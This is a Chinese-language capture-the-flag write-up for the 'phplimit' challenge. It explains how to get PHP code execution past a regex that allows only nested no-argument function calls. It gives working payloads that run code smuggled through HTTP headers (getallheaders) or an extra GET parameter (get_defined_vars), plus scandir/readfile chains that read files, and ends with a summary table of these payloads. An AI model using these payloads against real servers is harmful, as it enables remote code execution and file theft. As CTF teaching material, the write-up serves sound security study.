CTF WriteUp:easy - phplimit (PHP无参RCE深入解析)
0x01 题目代码与分析
php
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
?>
核心正则分析:/[^\W]+\((?R)?\)/
这个正则是整道题的关键,我们拆解来看:
[^\W]+:匹配一个或多个"非非单词字符",即匹配字母、数字、下划线 (等同于\w+)。这里主要是匹配函数名。\(和\):匹配左右括号。(?R)?:核心中的核心!?R代表递归匹配整个正则表达式,?表示可选(0次或1次)。
正则的作用:
它只匹配纯字母加括号 组成的无参函数调用,且允许函数嵌套。
例如:a(b(c())) 会被匹配,替换为空后,剩余 ;,通过判断进入 eval。
限制条件:
- 不能传入参数 :括号里不能有字符串、数字、变量(如
a('1')或a($b)都会被正则拒绝)。 - 只能使用无参函数嵌套。
解题核心思路:
要想执行任意代码(如 system('ls')),我们必须找到一个返回值可控的无参函数,将它作为内层函数的返回值传给外层函数。
0x02 解法一:利用 HTTP 请求头 (Apache / PHP >= 7.3)
1. 核心函数:getallheaders()
getallheaders() 会获取当前请求的所有 HTTP 头信息,返回一个数组。由于 HTTP 头(如 User-Agent、Cookie 等)是我们可以完全控制的,这就变相突破了"不能传参"的限制。
2. Payload 构造
http
GET ?code=eval(next(getallheaders())); HTTP/1.1
Host: xxx
User-Agent: phpinfo();
...
getallheaders():获取所有请求头数组。next():将数组内部指针向后移动一位,并返回当前元素的值。由于不同服务器对请求头的排序可能不同,通常next()可以跳过默认的Host字段,指向我们可以控制的User-Agent等字段。eval():执行next()返回的字符串(即我们设置的phpinfo();)。
⚠️ 关键知识点:Nginx 与 Apache 的环境差异(你提出的问题)
- 传统认知(PHP < 7.3) :
getallheaders()是 Apache (mod_php) 的专属函数,在 Nginx (php-fpm) 下调用会报错Call to undefined function。因此老 WriteUp 说 Nginx 下不能用。 - 当前现状(PHP >= 7.3) :从 PHP 7.3 开始,
getallheaders()被移植到了 FastCGI/FPM 模式中! 所以现在在 Nginx + PHP 7.3+ 的环境下,getallheaders()是可以正常使用的。 - 结论:如果你的 Nginx 靶机 PHP 版本 >= 7.3,用这个方法完全没问题;如果版本低,就会报错。
0x03 解法二:利用全局变量 (全环境通用,无视版本)
如果 getallheaders() 被禁用或者 PHP 版本低于 7.3 导致 Nginx 下不可用,我们就需要找其他返回值可控的函数。最经典的就是 get_defined_vars()。
1. 核心函数:get_defined_vars()
该函数返回由所有已定义变量组成的数组,包括 $_GET, $_POST, $_COOKIE, $_SERVER 等。由于我们可以控制 GET 传参,这就相当于我们有了一个可控的数据源。
2. 数组结构分析
当我们发送 ?code=eval(...);&b=phpinfo(); 时,get_defined_vars() 的返回值大致如下:
php
Array
(
[0] => Array // 这是 $_GET 数组
(
[code] => eval(...);
[b] => phpinfo();
)
[1] => Array // 这是 $_POST 数组
...
)
我们的目标是取到最内层的 phpinfo(); 这个字符串。
3. Payload 构造
http
GET ?code=eval(next(current(get_defined_vars())));&b=phpinfo(); HTTP/1.1
get_defined_vars():获取所有变量大数组。current():获取当前指针元素,默认指向第一个元素,即$_GET数组。
(注:PHP 7.3 前用current,PHP 8.1 后current对内部指针行为有变化,部分环境可能需要用reset或array_pop等)next():将$_GET数组的指针从code移动到b,并返回b的值,即字符串phpinfo();。eval():执行该字符串。
0x04 解法三:纯目录遍历读取 (无需注入代码)
有时候 eval 被禁用,或者我们不需要执行系统命令,只需要读取 Flag 文件,可以使用纯文件操作函数的嵌套。
1. 核心思路
利用 scandir() 列目录,配合数组操作函数找到 flag 文件,最后用 readfile() 或 file_get_contents() 读取。
2. Payload:读取当前目录倒数第二个文件
通常目录结构为 ['.', '..', 'flag.php', 'index.php']。倒数第二个往往是 flag。
php
?code=readfile(next(array_reverse(scandir(getcwd()))));
getcwd():获取当前工作目录路径。scandir():列出目录中的文件和目录。array_reverse():将数组反转,原来的倒数第二变成正数第二。next():跳过第一个(原最后一个index.php),指向第二个(原倒数第二flag.php)。readfile():读取并输出文件内容。
3. Payload:读取上级目录的 flag
如果 flag 在上一级目录,需要结合 chdir() 改变当前目录,因为 scandir() 接受目录路径参数。
php
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
- 这里的巧妙之处在于
chdir()成功返回1(true),失败返回false,但它确实改变了工作目录。嵌套在dirname()中,dirname(1)会返回当前目录.或配合改变后的路径继续向上。
0x05 总结与提炼
这道题是 PHP 无参 RCE 的母题,掌握它就掌握了一大类题。请记住以下核心应对策略:
| 场景 | 可用 Payload | 备注 |
|---|---|---|
| 有请求头控制权限 | eval(end(getallheaders())); (修改最后请求头) eval(next(getallheaders())); (修改User-Agent等) |
Apache全版本可用;Nginx需 PHP >= 7.3。 |
| 无请求头控制/老版本Nginx | eval(next(current(get_defined_vars())));&1=phpinfo(); eval(end(get_defined_vars())); (用POST传参) |
最通用,无视服务器类型和PHP版本。 |
| 只需读文件,无注入点 | readfile(next(array_reverse(scandir(getcwd())))); |
利用数组指针操作函数(next, end, array_pop, array_rand)。 |
| 需要跳目录读文件 | readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); |
array_flip 交换键值配合 array_rand 随机读取也是常见绕过姿势。 |
划重点: 做题时,优先尝试 getallheaders(),因为构造简单;如果报错未定义函数,立刻切换思路使用 get_defined_vars(),这是保底解法!